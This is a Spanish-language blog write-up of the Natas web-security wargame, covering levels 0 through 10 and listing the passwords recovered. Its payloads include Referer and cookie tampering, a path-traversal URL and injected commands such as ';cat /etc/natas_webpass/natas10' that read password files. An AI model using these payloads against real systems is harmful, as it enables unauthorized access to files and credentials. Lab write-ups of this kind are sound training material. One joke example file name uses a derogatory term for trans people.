Quienes me conocen saben que no soy un gran amante de los retos web. Sin embargo, hace unos días me encontré con un sitio en el cual hay varios
wargames y entre ellos hay uno dedicado a retos web. Comencé a jugarlo y realmente terminó gustandome.
La página en cuestión es
http://www.overthewire.org/wargames/ y el wargame que estoy jugando es
Natas.
Decidí escribir un write up de cada uno de los niveles que fui resolviendo. La mayoría de los retos resultan sencillos pero algunos otros hay que pensarlos un rato :)
natas0
http://natas0.natas.labs.overthewire.org
Te dan un usr y pwd:
natas0/natas0
En la página hay un mensaje que dice: "
You can find the password for the next level on this page."
Mirando el source de la página se puede ver el siguiente código:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.
<!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->
</div>
</body>
</html>
El password para el próximo nivel puede verse en el mismo source de la página:
9hSaVoey44Puz0fbWlHtZh5jTooLVplC
Vale aclarar que los nombres de usuario para todos los niveles son "
natasX" donde
X es un número incremental desde 0 a n.
natas1
En la página de este nivel se puede ver un mensaje que dice: "
You can find the password for the next level on this page, but rightclicking has been blocked!"
El botón derecho está deshabilitado con Javascript pero si utilizamos, por ejemplo,
noscript para bloquear los permisos de la web y evitar que no se ejecute el código Javascript, podemos ver el código de la página nuevamente donde tenemos el siguiente código:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!
<!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->
</div>
</body>
</html>
El password para el siguiente nivel es:
aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl
natas2
En esta página tenemos un mensaje como este: "
There is nothing on this page"
Si miramos el source de la página podemos ver lo siguiente:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>
Tenemos un tag de "
img" que está referenciando un archivo llamado
pixel.png en el directorio "
files". Si accedemos a:
http://natas2.natas.labs.overthewire.org/files
podemos ver un archivo llamado "
users.txt" que tiene el siguiente contenido:
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
eve:zo4mJWyNj2
mallory:9urtcpzBmH
El password para el siguiente nivel es:
lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
natas3
La página tiene un mensaje como este: "
There is nothing on this page"
Mirando el source de la misma se puede ver el siguiente código:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>
Ese mensaje da la idea de que goole no va a poder
crawlear alguna página del site que se indique en el
robots.txt, tal cual dice la doc de
Google:
https://developers.google.com/webmasters/control-crawl-index/docs/faq#h17
Si accedemos a
http://natas3.natas.labs.overthewire.org/robots.txt podemos ver el siguiente contenido:
User-agent: *
Disallow: /s3cr3t/
La directiva "
Disallow" indica que directorio o página no debe crawlearse. En este caso, se está protegiendo la página o directorio "
s3cr3t".
Si ingresamos a
http://natas3.natas.labs.overthewire.org/s3cr3t/ vemos que hay un archivo llamado "
users.txt" con el siguiente contenido:
natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz
natas4
Al ingresar a la página se puede observar el siguiente mensaje:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
Al darle a "
refresh page", se puede ver un mensaje similar:
Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
De "alguna manera" sabe que venimos de un lugar diferente al que deberíamos de venir. Dice que los usuarios autorizados deben de venir de:
http://natas5.natas.labs.overthewire.org/
La manera de controlar esto es mediante el header "
Referer" en el request HTTP. Utilizando, por ejemplo,
LiveHTTPHeaders se puede ver el request que hacemos desde el browser y la respuesta del mismo al darle al botón "
refresh page":
http://natas4.natas.labs.overthewire.org/index.php
GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Ojh5d1BMRFVCMnlZMnVqRm53R1VkV1dwOE1UNHlacnF6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:01:33 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 276
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
----------------------------------------------------------
El "
Referer" en el GET a "
index.php" tiene el siguiente contenido:
http://natas4.natas.labs.overthewire.org/index.php pero en su lugar debería de tener "
http://natas5.natas.labs.overthewire.org/". Para poder modificar el contenido de este header podemos utilizar, por ejemplo,
TamperData.
Una vez modificado el referer podemos ver el siguiente contenido en la página:
Access granted. The password for natas5 is
V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z
natas5
Al entrar a la página, tenemos un mensaje que dice algo como:
"
Access disallowed. You are not logged in"
Mirando el source de la página no se ve nada interesante:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>
Por lo tanto, el tema viene por otro lado. De alguna manera la webapp sabe que no estamos autenticados. Pero cómo?. Mirando el request HTTP se puede ver lo siguiente:
GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OlYwcDEycXozMEhFVVUyMmR6N0NaR0hpRmszVmRQQTla
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:07:10 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Set-Cookie: loggedin=0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 187
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------
Se puede ver que esta utilizando el header "
Authorization" con "
Basic" y además el header "
Cookie" tiene el parámetro "
loggedin" en 0. Qué pasa si tampereamos el request y cambiamos el valor del header "
Cookie" a 1?. Si el control de la autenticación está dado solo por un flag, deberíamos de poder ver el flag para el próximo nivel.
El tampereado efectivamente funciona y se puede observar el siguiente mensaje:
Access granted. The password for natas6 is
mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU
natas6
En este nivel, tenemos un form que nos permite ingresar algo y un botón de submit. El source code de la página es el siguiente:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas6</h1>
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que hay un script donde hay un IF que comprueba que lo que se envía en el
POST en el parametro "
secret" sea igual al contenido de la variable "
$secret". Al inicio del script se puede ver la siguiente línea:
include "includes/secret.inc";
Esto hace un include en el código del file "
secret.inc", es como el #
define de C. Si accedemos a:
natas6.natas.labs.overthewire.org/includes/secret.inc
Podemos ver lo siguiente:
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Al ingresar el valor de "
$secret" en el form y darle al botón "
submit", obtenemos el flag para el siguiente nivel:
Access granted. The password for natas7 is
XLoIufz83MjpTrtPvP9iAtgF48EWjicU
natas7
El ingresar a la página del reto solo podemos ver dos links a "Home" y "About". Mirando el source de la página podemos ver lo siguiente:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
El hint nos dice en que directorio está el flag. Además, vemos que tanto "home" como "about" se acceden mediante el parámetro "page". Esto nos hace pensar que de alguna manera debemos de llegar al directorio que el hint nos dice pero utilizando el parámetro "page". Todo parece indicar que un
path traversal existen en el parámetro "page".
Si probamos algo del estilo:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../etc/natas_webpass/natas8
tendremos el siguiente resultado:
maabkdexUStb6JJXUqmBx7Re8M61cksn
natas8
En la página podemos ver un form que nos pide ingresar un "secret", un botón para submitear el valor y un link para ver el source code de la página:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Este reto es muy similar al natas6 pero en este caso hay un paso extra antes de comparar el resultado que va en el request con el valor almacenado en la webapp. No se compara el valor directo sino que se aplica una transformación al valor almacenado en la variable "$encodedSecret" la cual es:
1. encodea el valor en base64
2. la pone en orden inverso
3. convierte el resultado de las dos operaciones anteriores en hex.
Por lo tanto, podemos aplicar las mismas operaciones en orden inverso para obtener le valor original:
1. Pasamos el valor a bin "3d3d516343746d4d6d6c315669563362" --> \x3d\x3d\x51\x63\x43\x74\x6d\x4d\x6d\x6c\x31\x56\x69\x56\x33\x62, lo cual se transforma en "==QcCtmMml1ViV3b" que es valor en base64 pero invertido.
2. Damos vuelta el valor: "b3ViV1lmMmtCcQ=="
3. Lo decodeamos usando base64 --> "b3ViV1lmMmtCcQ==".decode("base64") --> oubWYf2kBq
Al ingresar dicho valor en el form obtenemos el siguiente resultado:
Access granted. The password for natas9 is
sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
natas9
Al ingresar a este nivel, vemos un form que dice lo siguiente: "
Find words containing:" y permite que ingresemos algo. Al mirar el source code de la página vemos lo siguiente:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que toma el contenido del parámetro "
needle" y se lo asigna a la variable "
$key". Luego, comprueba que dicha variable no sea nula y en caso afirmativo ejecuta un
passthru que según
http://php.net/manual/es/function.passthru.php es parecida a
exec(), es decir que podemos ejecutar un comando en el server.
En este caso, el comando ejecutado en el passthru es "
grep -i $key dictionary.txt". Esto no está del todo bien puesto que está tomando el input directamente desde el form sin hacer ningún tipo de validación sobre el mismo con lo cual es vulnerable a
commando injection. Por ejemplo, podriamos ejecutar un "
ls -la", simplemente colocando "
;ls -la" en el form (el ; es para cortar el comando en el passthru y poner nuestra sentencia a continuación). El resultado es el siguiente:
-rw-r----- 1 natas9 natas9 460878 Sep 18 14:05 dictionary.txt
Luego, probé de hacer cat y grep sobre el dictionary.txt para ver si lograba encontrar algo como "flag=" pero no tuve éxito. Entonces, en que file está el flag para el siguiente reto?. Recordé que en el natas7 el hint nos decia que el flag estaba en
/etc/natas_webpass/natas8 entonces probé algo como: "
;cat /etc/natas_webpass/natas10" y este fue el resultado:
s09byvi8880wqhbnonMFMW8byCojm8eA
African
Africans
Allah
Allah's
American
Americanism
Americanism's
Americanisms
[...]
natas10
Este reto es muy similar al anterior salvo que en este caso se filtran algunos caracteres:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Vemos que se utiliza
preg_match http://php.net/manual/es/function.preg-match.php para matchear ciertos caracteres del request con la siguiente expresión regular: "
[;|&]". En caso de que encuentre alguno de esos caracteres en el parámetro "
needle" nos dirá "
Input contains an illegal character!". Por lo tanto, no podemos ejecutar un comando como lo hicimos en le reto anterior utilizando ";".
Luego de algunas pruebas no pude ejecutar algo como "
cat /etc/natas_webpass/natas11". Busqué en Google si existía alguna manera de bypassear esta función pero no tuve éxito. Entonces pensé que tal vez se podría hacer algo solo con el
grep. grep es un comando de bash para matchear cosas en uno o más files. La sintáxis es algo como "
grep LO_QUE_QUIERO_MATCHEAR EL_FILE_DONDE_QUIERO_MATCHEAR". Por ejemplo, consideremos el archivo "
telefonos_de_travestis.txt":
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
Ahora, quiero matchear el telefono de "cacho", entonces haría algo como: "grep "cacho" telefonos_de_travestis.txt" y el resultado sería el siguiente:
nriva@fastix:~/Desktop/wargames/natas$ grep "cacho" telefonos_de_travestis.txt
cacho = 123456789
En este caso, se utiliza el parámetro "i" para ignorar el case, es decir, es
case insensitive.
Ahora, que pasa si en lugar de "cacho" queremos matchear todo el contenido del file?. En estos casos se suelen utilizar los wildcards.
Por ejemplo, podríamos ejecutar el siguiente comando: "
ls -la | grep -i .txt" para matchear todos los archivos con .txt:
nriva@fastix:~/Desktop/wargames/natas$ ls -la | grep -i .txt
-rw-rw-r-- 1 nriva nriva 16261 Mar 1 22:10 natas_notas.txt
-rw-rw-r-- 1 nriva nriva 15263 Mar 1 22:03 natas_notas.txt~
-rw-rw-r-- 1 nriva nriva 82 Mar 1 22:08 telefonos_de_travestis.txt
Ahora, haciendo algunas pruebas, me encontré con que solo con el punto ".", el grep te matchea todo el contenido de un file, por ejemplo, ejecutando el siguiente comando "
nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt" me arroja el siguiente resultado:
nriva@fastix:~/Desktop/wargames/natas$ grep -i . telefonos_de_travestis.txt
Telefonos de travas
--
cacho = 123456789
la giovanni = 98989898
zulma = 86868686
nriva@fastix:~/Desktop/wargames/natas$
Por lo tanto, podríamos probar de ejecutar algo como
". /etc/natas_webpass/natas11" y ver cual es el output:
/etc/natas_webpass/natas11:SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
dictionary.txt:American
dictionary.txt:Americanism
dictionary.txt:Americanism's
dictionary.txt:Americanisms
[...]
Bingo!. Vemos que nos matchea todo el contenido de los files que hay en "etc/natas_webpass/natas11" además del dictionary.txt.
Este costo un poco más pero al final salió.
Hasta acá llegué por ahora, luego subiré mas write ups del resto de los niveles.
Hasta pronto.